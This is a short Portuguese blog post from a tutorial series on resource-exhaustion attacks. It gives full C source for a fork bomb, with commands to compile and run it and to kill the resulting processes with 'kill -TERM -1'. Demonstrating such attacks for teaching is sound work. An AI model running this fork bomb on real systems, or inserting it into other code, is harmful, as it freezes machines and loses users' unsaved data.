quinta-feira, 13 de junho de 2019

EXEMPLO 3

EXEMPLO 3

O exemplo 3 também enche a memória, porém desta vez com processos.

Esse ataque é difícil de parar, pois não é possível matar os processos individualmente.

 Eles são criados mais rápidos do que o usuário é capaz de matar, ou seja o "ps + kill" não funcionaria.

Há uma opção, usar kill -TERM -1.

Esse comando matará qualquer processo que não seja criado pelo root.

Com isso, qualquer dado que não tenha sido gravado será perdido.

Versões mais recentes do Linux estão imunes a esse caso, pois agora os usuário podem ter apenas um determinado número de processos sendo executado, porém essa regra não serve para o root.


/* progacao3.c */
acao ()
{
   while (1)
      fork();
}

main () /* o main já foi explicado no exemplo 1 */
{
   int i;
   i=fork();
   if (i==0)
      acao();

}


Para compilar:

$ gcc progacao3.c -o progacao3


Para executar:

$ ./progacao3


Use: ps -ax para ver a infinidade de processos criados. Mate o processo com: kill -TERM -1.


Porém, não se esqueça que apenas os processos executados como root permanecerão activos.

Sem comentários:

Enviar um comentário